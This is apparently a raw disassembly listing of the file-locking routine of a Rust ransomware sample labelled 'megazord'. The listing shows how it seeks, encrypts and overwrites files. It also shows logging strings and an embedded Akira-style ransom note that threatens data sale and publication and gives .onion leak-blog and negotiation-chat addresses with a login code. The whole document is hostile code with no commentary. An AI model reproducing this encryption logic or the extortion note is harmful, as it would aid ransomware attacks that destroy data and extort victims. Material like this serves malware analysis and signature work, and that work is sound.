mov qword [rbp + 0x3f0], rax
push 1
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
lea rcx, [rbp + 0x2e8]
mov qword [rbp + 0x5c0], rcx
lea rcx, [0x140017702]
mov qword [rbp + 0x5c8], rcx
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rax
mov rcx, r13
push 4
pop rdx
lea r8, str.megazord::lock
push 0x43
pop r9
call fcn.14000db08
mov rax, qword [rbp + 0x2e8]
test rax, rax
js 0x14000348b
cvtsi2ss xmm0, rax
jmp 0x1400034a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
cmp qword [rbp + 0x678], 0
je 0x1400033ef
mov rcx, r14
push 2
pop rdx
mov r14, rax
call fcn.140005400
mov qword [rbp + 0x678], r14
jmp 0x14000269d
cmp rax, 4
mov r12, qword [rbp + 0x678]
jbe 0x1400033a0
mov rcx, rbx
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
lea rax, [0x140064c78]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x3f8], 2
and qword [rbp + 0x410], 0
mov qword [rbp + 0x520], rbx
lea rax, [0x140031f30]
mov qword [rbp + 0x528], rax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], 1
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
push 0x5e
pop r9
call fcn.14000db08
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.14004c696
mov qword [rbp + 0x520], 1
lea rax, [rbp + 0x531]
movups xmmword [rax - 9], xmm6
mov rcx, r13
mov rdx, r12
call fcn.140033e10
cmp dword [rbp + 0x3f0], 2
jne 0x1400033fb
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 0x5c0], 1
lea rcx, [rbp + 0x5c8]
jmp 0x140003e15
mov qword [rbp + 0x678], rax
jmp 0x14000269d
mov r14, qword [rbp + 0x428]
and qword [rbp + 0x5c0], 0
mov rcx, r12
xor edx, edx
mov r8, rbx
push 1
pop r9
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140003dee
sub r14, qword [rbp + 0x5c0]
mov eax, 0
cmovb r14, rax
mov edx, 0
mov esi, 0
test r14, r14
jne 0x140004660
mov al, 1
mov dword [rbp + 0x670], eax
add r14, 0x400
jb 0x140003e26
mov rax, r14
and rax, 0x1fff
je 0x14000464a
mov ecx, 0x2000
sub rcx, rax
add r14, rcx
mov qword [rbp + 0x3e8], r14
setb al
mov dword [rbp + 0x670], eax
jmp 0x140003e26
mov rcx, rax
shr rcx, 1
and eax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mulss xmm0, xmm7
movaps xmm12, xmm8
divss xmm12, xmm0
mov rax, qword [0x140083ae8]
cmp rax, 3
jbe 0x140003562
cvttss2si rax, xmm12
mov rcx, rax
sar rcx, 0x3f
movaps xmm0, xmm12
subss xmm0, xmm9
cvttss2si rdx, xmm0
and rdx, rcx
or rdx, rax
ucomiss xmm12, xmm10
mov edi, 0
cmovae rdi, rdx
ucomiss xmm12, xmm11
push 0xffffffffffffffff
pop rax
cmova rdi, rax
mov qword [rbp + 0x520], rdi
lea rax, str.Step_size:
mov qword [rbp + 0x3f0], rax
push 1
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
lea rcx, [rbp + 0x520]
mov qword [rbp + 0x5c0], rcx
lea rcx, [0x140017702]
mov qword [rbp + 0x5c8], rcx
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rax
mov rcx, r13
push 4
pop rdx
lea r8, str.megazord::lock
push 0x46
pop r9
call fcn.14000db08
mov rax, rdi
jmp 0x14000359d
cvttss2si rax, xmm12
mov rcx, rax
sar rcx, 0x3f
movaps xmm0, xmm12
subss xmm0, xmm9
cvttss2si rdx, xmm0
and rdx, rcx
or rdx, rax
ucomiss xmm12, xmm10
mov ecx, 0
cmovae rcx, rdx
ucomiss xmm12, xmm11
push 0xffffffffffffffff
pop rax
cmova rcx, rax
mov rax, rcx
test rax, rax
je 0x140004899
mov rcx, qword [rbp + 0x668]
mov qword [rbp + 0x670], rcx
mov qword [rbp + 0x518], rax
dec rax
mov qword [rbp + 0x3e8], rax
mov esi, 0x6400000
xor edi, edi
xor eax, eax
test al, 1
je 0x1400035df
add rdi, qword [rbp + 0x3e8]
jb 0x140003af3
cmp rdi, qword [rbp + 0x670]
jae 0x140003af3
mov qword [rbp + 0x1a8], rdi
mov rax, qword [0x140083ae8]
mov r9, rdi
cmp rax, 4
jbe 0x1400036c8
lea r12, [rbp + 0x520]
mov rcx, r12
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
mov qword [rbp + 0x3f0], r12
mov r12, qword [rbp + 0x678]
lea rax, [0x140031f30]
mov qword [rbp + 0x3f8], rax
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x400], rax
lea rcx, [0x140017702]
mov qword [rbp + 0x408], rcx
lea rax, str.Current_i_val_for__of
mov qword [rbp + 0x5c0], rax
push 3
pop rdx
mov qword [rbp + 0x5c8], rdx
and qword [rbp + 0x5e0], 0
lea rax, [rbp + 0x668]
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x418], rcx
mov qword [rbp + 0x5d0], r13
mov qword [rbp + 0x5d8], rdx
mov rcx, rbx
push 5
pop rdx
lea r8, str.megazord::lock
push 0x48
pop r9
call fcn.14000db08
mov rcx, qword [rbp + 0x520]
mov rdx, qword [rbp + 0x528]
call fcn.14004c696
mov r9, qword [rbp + 0x1a8]
mov rax, qword [rbp + 0x668]
sub rax, r9
cmp rax, qword [rbp + 0x518]
jb 0x140003af3
mov rcx, r13
mov rdx, r12
xor r8d, r8d
call fcn.140034f60
mov rcx, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x3f8]
lea rax, str.megazord_srclock.rsFilesize_for
mov qword [rsp + 0x20], rax
lea r8, str.Unable_to_seek_to_position
push 0x1a
pop r9
call fcn.140017721
mov rax, qword [0x140083ae8]
cmp rax, 4
jbe 0x14000380b
lea r12, [rbp + 0x520]
mov rcx, r12
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
lea rbx, [rbp + 0x300]
mov rcx, rbx
mov rdx, qword [rbp + 0x678]
call fcn.140016ec0
mov qword [rbp + 0x3f0], r12
mov r12, qword [rbp + 0x678]
lea rax, [0x140031f30]
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x400], rbx
lea rax, [0x140019420]
mov qword [rbp + 0x408], rax
lea rax, str.Current_seek_pos_for
mov qword [rbp + 0x5c0], rax
push 3
pop rcx
mov qword [rbp + 0x5c8], rcx
and qword [rbp + 0x5e0], 0
lea rax, [rbp + 0x668]
mov qword [rbp + 0x410], rax
lea rax, [0x140017702]
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x5d0], r13
mov qword [rbp + 0x5d8], rcx
lea rcx, [rbp + 0x5c0]
push 5
pop rdx
lea r8, str.megazord::lock
push 0x4d
pop r9
call fcn.14000db08
mov rcx, rbx
lea rbx, [rbp + 0x5c0]
call fcn.14001775b
mov rcx, qword [rbp + 0x520]
mov rdx, qword [rbp + 0x528]
call fcn.14004c696
mov rcx, r13
mov rdx, r12
mov r8, qword [rbp + 0x680]
mov r9, rsi
call fcn.1400341a0
cmp qword [rbp + 0x3f0], 0
jne 0x140003ad2
mov r14, qword [rbp + 0x3f8]
mov qword [rbp + 0x278], r14
test r14, r14
je 0x140003aec
inc rdi
mov rcx, r14
mov rdx, qword [rbp + 0x680]
mov r8, rsi
lea r9, str.megazord_srclock.rsFilesize_for
call fcn.14001776b
xor ecx, ecx
cmp rdx, rcx
je 0x1400038e4
cmp byte [rax + rcx], 0
lea rcx, [rcx + 1]
je 0x140003863
mov rcx, r14
mov rdx, qword [rbp + 0x680]
mov r8, rsi
lea r9, str.megazord_srclock.rsFilesize_for
call fcn.14001776b
mov r8, rdx
mov rcx, qword [rbp + 0x368]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0xf
mov rcx, r13
mov rdx, rax
mov r9, qword [rbp + 0x360]
call fcn.1400118a6
cmp qword [rbp + 0x3f0], 0
je 0x1400039d2
mov rax, qword [rbp + 0x400]
mov qword [rbp + 0x5d0], rax
movups xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0x5c0], xmm0
jmp 0x1400039da
mov rax, qword [0x140083ae8]
cmp rax, 4
jbe 0x140003ac4
lea r14, [rbp + 0x520]
mov rcx, r14
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
lea rbx, [rbp + 0x300]
mov rcx, rbx
mov rdx, r12
call fcn.140016ec0
mov qword [rbp + 0x3f0], r14
lea rax, [0x140031f30]
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x400], rbx
lea rax, [0x140019420]
mov qword [rbp + 0x408], rax
lea rax, str.Current_buffer_for__bytes_is_filled_of_zeros__skipping
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], 4
and qword [rbp + 0x5e0], 0
lea rax, [rbp + 0x278]
mov qword [rbp + 0x410], rax
lea rax, [0x140017702]
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x5d0], r13
mov qword [rbp + 0x5d8], 3
lea rcx, [rbp + 0x5c0]
push 5
pop rdx
lea r8, str.megazord::lock
push 0x53
pop r9
call fcn.14000db08
mov rcx, rbx
lea rbx, [rbp + 0x5c0]
call fcn.14001775b
mov rcx, qword [rbp + 0x520]
mov rdx, qword [rbp + 0x528]
jmp 0x140003abf
and qword [rbp + 0x5c0], 0
mov rcx, r13
mov rdx, rbx
lea r8, str.megazord_srclock.rsFilesize_for
call fcn.14001778c
mov r9, qword [rbp + 0x1a8]
mov rcx, rbx
mov rdx, r12
xor r8d, r8d
call fcn.140034f60
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
lea rax, str.megazord_srclock.rsFilesize_for
mov qword [rsp + 0x20], rax
lea r8, str.Unable_to_seek_to_position
push 0x1a
pop r9
call fcn.140017721
mov r14, qword [rbp + 0x3f0]
mov r8, qword [rbp + 0x400]
mov rcx, r12
mov rdx, r14
call fcn.140016ed0
mov rcx, rax
lea rdx, str.Unable_to_write_data_to_file
push 0x1c
pop r8
lea r9, str.megazord_srclock.rsFilesize_for
call fcn.1400177bc
and qword [rbp + 0x380], 0
mov edx, 0x6400000
lea rcx, [rbp + 0x370]
call fcn.14004da48
mov rax, qword [rbp + 0x370]
mov rsi, qword [rbp + 0x380]
mov qword [rbp + 0x680], rax
add rax, rsi
xor ecx, ecx
cmp rcx, 0x63fffff
je 0x140003aa3
mov byte [rax + rcx], 0
inc rcx
jmp 0x140003a91
mov byte [rax + rcx], 0
add rsi, 0x6400000
mov qword [rbp + 0x380], rsi
mov rdx, qword [rbp + 0x3f8]
mov rcx, r14
call fcn.14004c696
mov al, 1
lea r14, str.megazord_srclock.rsFilesize_for
jmp 0x1400035ce
mov rsi, qword [rbp + 0x3f8]
mov rdx, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x680]
jmp 0x1400042a4
lea r14, str.megazord_srclock.rsFilesize_for
mov rdx, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x680]
call fcn.14004c696
lea rdi, [rbp + 0x370]
cvttss2si rax, xmm12
mov rcx, rax
sar rcx, 0x3f
movaps xmm0, xmm12
subss xmm0, xmm9
cvttss2si rsi, xmm0
and rsi, rcx
or rsi, rax
ucomiss xmm12, xmm10
mov eax, 0
cmovb rsi, rax
ucomiss xmm12, xmm11
push 0xffffffffffffffff
pop rax
cmova rsi, rax
mov qword [rbp + 0x370], rsi
mov rcx, r13
mov rdx, r12
push 1
pop r8
xor r9d, r9d
call fcn.140034f60
mov rcx, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x3f8]
lea rax, str.megazord_srclock.rsFilesize_for
mov qword [rsp + 0x20], rax
lea r8, str.TODO:_panic_message
push 0x13
pop r9
call fcn.140017721
mov qword [rbp + 0x5c0], rsi
mov rcx, r13
mov rdx, r12
mov r8, rbx
push 8
pop r9
call fcn.14002c710
mov rcx, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x3f8]
lea r8, str.megazord_srclock.rsFilesize_for
call fcn.1400177ee
mov rax, qword [0x140083ae8]
cmp rax, 5
jb 0x140003c3d
lea rax, [rbp + 0x4f8]
mov qword [rbp + 0x5c0], rax
lea rax, [0x140031f30]
mov qword [rbp + 0x5c8], rax
lea rax, str.step_size_usize_for
mov qword [rbp + 0x3f0], rax
push 2
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
mov qword [rbp + 0x5d0], rdi
lea rcx, [0x140017702]
mov qword [rbp + 0x5d8], rcx
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rax
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
push 0x6c
pop r9
call fcn.14000db08
movups xmm0, xmmword [rbp + 0x140]
movups xmm1, xmmword [rbp + 0x150]
movaps xmmword [rbp + 0x530], xmm1
movaps xmmword [rbp + 0x520], xmm0
mov rax, qword [0x140083ae8]
cmp rax, 5
jb 0x140003ce2
lea rax, [rbp + 0x4f8]
mov qword [rbp + 0x5c0], rax
lea rax, [0x140031f30]
mov qword [rbp + 0x5c8], rax
lea rax, str.mal_public_key_bytes_for
mov qword [rbp + 0x3f0], rax
push 2
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
lea rcx, [rbp + 0x520]
mov qword [rbp + 0x5d0], rcx
lea rcx, [0x140019a8b]
mov qword [rbp + 0x5d8], rcx
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rax
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
push 0x6f
pop r9
call fcn.14000db08
mov rcx, r13
mov rdx, r12
lea r8, [rbp + 0x520]
push 0x20
pop r9
call fcn.14002c710
mov rcx, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x3f8]
lea r8, str.megazord_srclock.rsFilesize_for
call fcn.1400177ee
mov rdx, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x508]
mov qword [rsp + 0x20], 0xf
mov rcx, r13
lea r9, str.powerranges.txtHi_friends__r_nWhatever_who_you_are_and_what_your_title_is_if_youre_reading_this_it_means_the_internal_infrastructure_of_your_company_is_fully_or_partially_dead__all_your_backups___virtual__physical___everything_that_we_managed_to_reach___are_completely_removed._Moreover__we_have_taken_a_great_amount_of_your_corporate_data_prior_to_encryption._r_n_r_nWell__for_now_lets_keep_all_the_tears_and_resentment_to_ourselves_and_try_to_build_a_constructive_dialogue._Were_fully_aware_of_what_damage_we_caused_by_locking_your_internal_sources._At_the_moment__you_have_to_know:_r_n_r_n1._Dealing_with_us_you_will_save_A_LOT_due_to_we_are_not_interested_in_ruining_your_financially._We_will_study_in_depth_your_finance__bank__income_statements__your_savings__investments_etc._and_present_our_reasonable_demand_to_you._If_you_have_an_active_cyber_insurance__let_us_know_and_we_will_guide_you_how_to_properly_use_it._Also__dragging_out_the_negotiation_process_will_lead_to_failing_of_the_deal._r_n2._Paying_us_you_save_your_TIME__MONEY__EFFORTS_and_be_back_on_track_within_24_hours_approximately._Our_decryptor_works_properly_on_any_files_or_systems__so_you_will_be_able_to_check_it_by_requesting_a_test_decryption_service_from_the_beginning_of_our_conversation._If_you_decide_to_recover_on_your_own__keep_in_mind_that_you_can_permanently_lose_access_to_some_files_or_accidentally_corrupt_them___in_this_case_we_wont_be_able_to_help._r_n3._The_security_report_or_the_exclusive_first_hand_information_that_you_will_receive_upon_reaching_an_agreement_is_of_great_value__since_NO_full_audit_of_your_network_will_show_you_the_vulnerabilities_that_weve_managed_to_detect_and_use_in_order_to_get_into__identify_backup_solutions_and_download_your_data._r_n4._As_for_your_data__if_we_fail_to_agree__we_will_try_to_sell_personal_information_trade_secrets_databases_source_codes___generally_speaking__everything_that_has_a_value_on_the_darkmarket___to_multiple_threat_actors_at_once._Then_all_of_this_will_be_published_in_our_blog___https:__akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad_._onion._r_n5._Were_more_than_negotiable_and_will_definitely_find_a_way_to_settle_this_quickly_and_reach_an_agreement_which_will_satisfy_both_of_us._r_n_r_nIf_youre_indeed_interested_in_our_assistance_and_the_services_we_provide_you_can_reach_out_to_us_following_simple_instructions:_r_n_r_n1._Install_TOR_Browser_to_get_access_to_our_chat_room___https:__www.torproject_._org_download_._r_n2._Paste_this_link___https:__akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id_._onion._r_n3._Use_this_code____1491_GV_LKEM_NIGL___to_log_into_our_chat._r_n_r_nKeep_in_mind_that_the_faster_you_will_get_in_touch__the_less_damage_we_cause.note_write_fail
call fcn.1400395f0
mov rsi, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x400]
mov rcx, rsi
call fcn.140034c20
mov rdi, rax
mov rdx, qword [rbp + 0x3f8]
mov rcx, rsi
call fcn.14004c696
mov rcx, rdi
lea rdx, [0x14006582c]
push 0xf
pop r8
lea r9, str.megazord_srclock.rsFilesize_for
call fcn.1400177bc
mov rax, qword [0x140083ae8]
cmp rax, 3
jbe 0x140003de7
lea rax, str.File_locked:
mov qword [rbp + 0x3f0], rax
push 1
pop rcx
mov qword [rbp + 0x3f8], rcx
and qword [rbp + 0x410], 0
lea rax, [rbp + 0x4f8]
mov qword [rbp + 0x5c0], rax
lea rax, [0x140031f30]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rcx
mov rcx, r13
push 4
pop rdx
lea r8, str.megazord::lock
push 0x72
pop r9
call fcn.14000db08
xor esi, esi
jmp 0x1400042a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x3f0], 1
lea rcx, [rbp + 0x3f8]
call fcn.14002a940
mov al, 1
mov dword [rbp + 0x670], eax
xor esi, esi
xor edx, edx
mov qword [rbp + 0x2f8], rdx
xor r14d, r14d
mov rdi, rsi
cmp rdi, rdx
je 0x140003f15
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x518], rax
add rax, rdi
mov qword [rbp + 0x680], rdx
mov rcx, rdx
sub rcx, rdi
mov rdx, qword [rbp + 0x3e8]
cmp rcx, rdx
cmovb rdx, rcx
cmp byte [rbp + 0x670], 0
cmovne rdx, rcx
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], rdx
and qword [rbp + 0x5d0], 0
mov qword [rbp + 0x5d8], r14
mov rcx, r12
mov rdx, rbx
call fcn.140033f20
test rax, rax
je case.default.0x140003eb8
mov rsi, rax
and eax, 3
lea rcx, [0x140004980]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov al, byte [rsi + 0x10]
jmp 0x140003ed0
cmp al, 0x23
jne 0x14000428f
mov qword [rbp + 0x3f0], rsi
mov rcx, r13
call fcn.14002a940
mov rdx, qword [rbp + 0x680]
jmp 0x140003e33
lea rcx, [rbp + 0x520]
push 0x20
pop r8
call fcn.14005d160
mov rdx, qword [rbp + 0x528]
mov rdi, qword [rbp + 0x530]
jmp 0x140003e3c
mov rsi, qword [rbp + 0x5d0]
test rsi, rsi
je 0x1400045b9
mov rax, qword [rbp + 0x5d8]
mov r14, rax
sub r14, rsi
jb 0x1400048b1
mov rdx, qword [rbp + 0x5c8]
cmp rax, rdx
ja 0x1400048c5
cmp rsi, rdx
ja 0x1400048d1
add rsi, rdi
mov qword [rbp + 0x530], rsi
mov rdx, qword [rbp + 0x680]
cmp rdx, qword [rbp + 0x2f8]
jne 0x140003e30
cmp rdx, rsi
lea rdi, [0x140004a34]
jne 0x140003e30
movaps xmmword [rbp + 0x400], xmm6
movaps xmmword [rbp + 0x3f0], xmm6
lea rcx, [rbp + 0x370]
mov rdx, r12
mov r8, r13
push 0x20
pop r9
call fcn.1400341a0
cmp qword [rbp + 0x370], 0
je case.default.0x1400040ed
mov rsi, qword [rbp + 0x378]
mov eax, esi
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
mov al, byte [rsi + 0x10]
jmp 0x140004105
cmp al, 0x23
jne 0x14000428f
lea rcx, [rbp + 0x378]
call fcn.14002a940
jmp 0x1400040b6
mov rdi, qword [rbp + 0x378]
test rdi, rdi
mov rdx, qword [rbp + 0x2f8]
je 0x1400045b6
cmp rdi, 0x21
jae 0x14000487d
lea rcx, [rbp + 0x520]
mov r8, rdi
call fcn.14005d160
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x680], rax
mov rsi, qword [rbp + 0x530]
mov rcx, qword [rbp + 0x520]
add rcx, rsi
mov rdx, r13
mov r8, rdi
call fcn.14004f020
mov rdx, qword [rbp + 0x680]
add rsi, rdi
mov qword [rbp + 0x530], rsi
jmp 0x140003e30
lea r14, str.megazord_srclock.rsFilesize_for
mov rdx, qword [rbp + 0x680]
mov rcx, qword [rbp + 0x518]
call fcn.14004c696
lea rdi, [rbp + 0x370]
mov rcx, qword [rbp + 0x368]
mov rdx, qword [rbp + 0x2a8]
call fcn.14004c696
mov rcx, qword [rbp + 0x360]
mov rdx, qword [rbp + 0x2a0]
call fcn.14004c696
lea rcx, [rbp + 0x1f0]
call fcn.14000d449
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, rsi
mov rcx, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d8]
call fcn.14004c696
mov rcx, qword [rbp + 0x4f8]
mov rdx, qword [rbp + 0x500]
call fcn.14004c696
test r12, r12
je 0x140004525
mov qword [rbp + 0x370], r12
mov rax, qword [0x140083ae8]
cmp rax, 5
jb 0x1400043ce
mov rcx, rbx
lea rdx, [rbp + 0x340]
call fcn.140004ef1
mov qword [rbp + 0x520], rdi
lea rax, [0x140032820]
mov qword [rbp + 0x528], rax
lea rax, str.Process_crypt_error:___file
mov qword [rbp + 0x3f0], rax
push 2
pop rcx
mov qword [rbp + 0x3f8], rcx
and qword [rbp + 0x410], 0
mov qword [rbp + 0x530], rbx
lea rax, [0x140031f30]
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rcx
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
mov r9d, 0x96
call fcn.14000db08
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.14004c696
mov rax, qword [0x140083ae8]
cmp rax, 5
jb 0x140004478
mov rcx, rbx
lea rdx, [rbp + 0x340]
call fcn.140004ef1
mov qword [rbp + 0x520], rdi
lea rax, [0x140032820]
mov qword [rbp + 0x528], rax
lea rax, str.Process_crypt_error:___file
mov qword [rbp + 0x3f0], rax
push 2
pop rcx
mov qword [rbp + 0x3f8], rcx
and qword [rbp + 0x410], 0
mov qword [rbp + 0x530], rbx
lea rax, [0x140031f30]
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rcx
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
mov r9d, 0x9a
call fcn.14000db08
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.14004c696
mov rax, qword [0x140083ae8]
cmp rax, 4
jbe 0x1400044e0
lea rax, [0x14006bc78]
mov qword [rbp + 0x3f0], rax
push 1
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
mov qword [rbp + 0x5c0], rdi
lea rcx, [0x140032820]
mov qword [rbp + 0x5c8], rcx
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rax
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
mov r9d, 0x9b
call fcn.14000db08
mov r12, rdi
mov rdi, qword [rbp + 0x370]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x140004522
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
mov r8, qword [rax + 8]
mov rdx, qword [rax + 0x10]
call fcn.140005018
mov rcx, rsi
push 8
pop rdx
call fcn.140005400
mov rdi, r12
mov rax, qword [0x140083ae8]
cmp rax, 4
jbe 0x140004594
lea rax, str.Read_from_queue
mov qword [rbp + 0x3f0], rax
push 1
pop rcx
mov qword [rbp + 0x3f8], rcx
and qword [rbp + 0x410], 0
lea rax, [rbp + 0x340]
mov qword [rbp + 0x5c0], rax
lea rax, [0x140031f30]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rcx
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
mov r9d, 0x9e
call fcn.14000db08
mov rbx, rdi
mov rcx, qword [rbp + 0x340]
mov rdx, qword [rbp + 0x348]
call fcn.14004c696
mov rsi, qword [rbp + 0x2d8]
jmp 0x140001e72
mov rdi, rdx
mov rcx, r13
mov rdx, r12
xor r8d, r8d
xor r9d, r9d
call fcn.140034f60
mov rsi, qword [rbp + 0x3f0]
test rsi, rsi
lea r14, str.megazord_srclock.rsFilesize_for
je 0x1400045e4
mov rsi, qword [rbp + 0x3f8]
test rsi, rsi
mov rdx, qword [rbp + 0x680]
jne 0x14000429d
mov rax, qword [rbp + 0x368]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xf
mov rcx, r13
mov rdx, qword [rbp + 0x518]
mov r8, rdi
mov r9, qword [rbp + 0x360]
call fcn.1400118a6
cmp qword [rbp + 0x3f0], 0
je 0x140004684
mov rax, qword [rbp + 0x400]
mov qword [rbp + 0x5d0], rax
movups xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0x5c0], xmm0
jmp 0x14000468c
mov qword [rbp + 0x3e8], r14
mov dword [rbp + 0x670], 0
jmp 0x140003e26
lea rcx, [rbp + 0x520]
xor edx, edx
mov r8, r14
call fcn.14005d160
mov rdx, qword [rbp + 0x528]
mov rsi, qword [rbp + 0x530]
jmp 0x140003447
and qword [rbp + 0x5c0], 0
lea rdi, [rbp + 0x370]
mov rcx, r13
mov rdx, rbx
lea r8, str.megazord_srclock.rsFilesize_for
call fcn.14001778c
mov rsi, qword [rbp + 0x3f0]
mov r8, qword [rbp + 0x400]
mov rcx, r12
mov rdx, rsi
call fcn.140016ed0
mov rcx, rax
lea rdx, str.Unable_to_write_data_to_file
push 0x1c
pop r8
lea r9, str.megazord_srclock.rsFilesize_for
call fcn.1400177bc
mov rdx, qword [rbp + 0x3f8]
mov rcx, rsi
call fcn.14004c696
mov rcx, qword [rbp + 0x518]
mov rdx, qword [rbp + 0x680]
call fcn.14004c696
xorps xmm12, xmm12
jmp 0x140003b0d
mov rdx, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x680]
call fcn.14004c696
lea r12, [0x14006bc78]
mov rax, qword [0x140083ae8]
cmp rax, 5
jb 0x140004763
lea rax, str.EMPTY
lea rcx, [rbp + 0x3f0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r12
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea r8, str.megazord::lock
push 5
pop rdx
mov r9d, 0x8c
call fcn.14000db08
mov rcx, qword [rbp + 0x340]
mov rdx, qword [rbp + 0x348]
call fcn.14004c696
lea rcx, [rbp + 0x2d8]
call fcn.140004e5a
movaps xmm6, xmmword [rbp + 0x690]
movaps xmm7, xmmword [rbp + 0x6a0]
movaps xmm8, xmmword [rbp + 0x6b0]
movaps xmm9, xmmword [rbp + 0x6c0]
movaps xmm10, xmmword [rbp + 0x6d0]
movaps xmm11, xmmword [rbp + 0x6e0]
movaps xmm12, xmmword [rbp + 0x6f0]
add rsp, 0x788
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rdi
mov rdx, rsi
call fcn.14004c696
lea rcx, [0x1400649d8]
lea r8, str.megazord_srclock.rsFilesize_for
push 0x3d
pop rdx
call fcn.14005c510
ud2
push 4
pop rcx
mov rdx, rcx
call fcn.140005370
test rax, rax
jne 0x14000480c
push 4
pop rcx
mov rdx, rcx
call fcn.14005bef0
ud2
mov dword [rax], 0x80000004
mov qword [rbp + 0x370], rax
lea rax, [0x140066130]
mov qword [rbp + 0x378], rax
lea rax, [rbp + 0x370]
mov qword [rbp + 0x520], rax
lea rax, str.Error:
lea rcx, [rbp + 0x3f0]
mov qword [rcx], rax
push 1
pop rax
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x140019b0f]
mov qword [rbp + 0x528], rdx
lea rdx, [rbp + 0x520]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.C:Users_root.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rand_core_0.5.1_srcos.rs
call fcn.14005c040
ud2
lea r8, [0x140069188]
push 0x20
pop rdx
mov rcx, rdi
jmp 0x1400048db
push 1
pop rcx
mov edx, 0x6400000
jmp 0x140004805
lea rcx, str.assertion_failed:_step___0_rustc_c4190f2d3a46a59f435f7b42f58bc22b2f4d6917librarycore_srciter_adapters_step_by.rs
lea r8, [0x14005e710]
push 0x1b
pop rdx
call fcn.14005c200
ud2
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rsi
mov rdx, rax
call fcn.14005c3f0
ud2
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rax
jmp 0x1400048db
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rsi
call fcn.14005c180
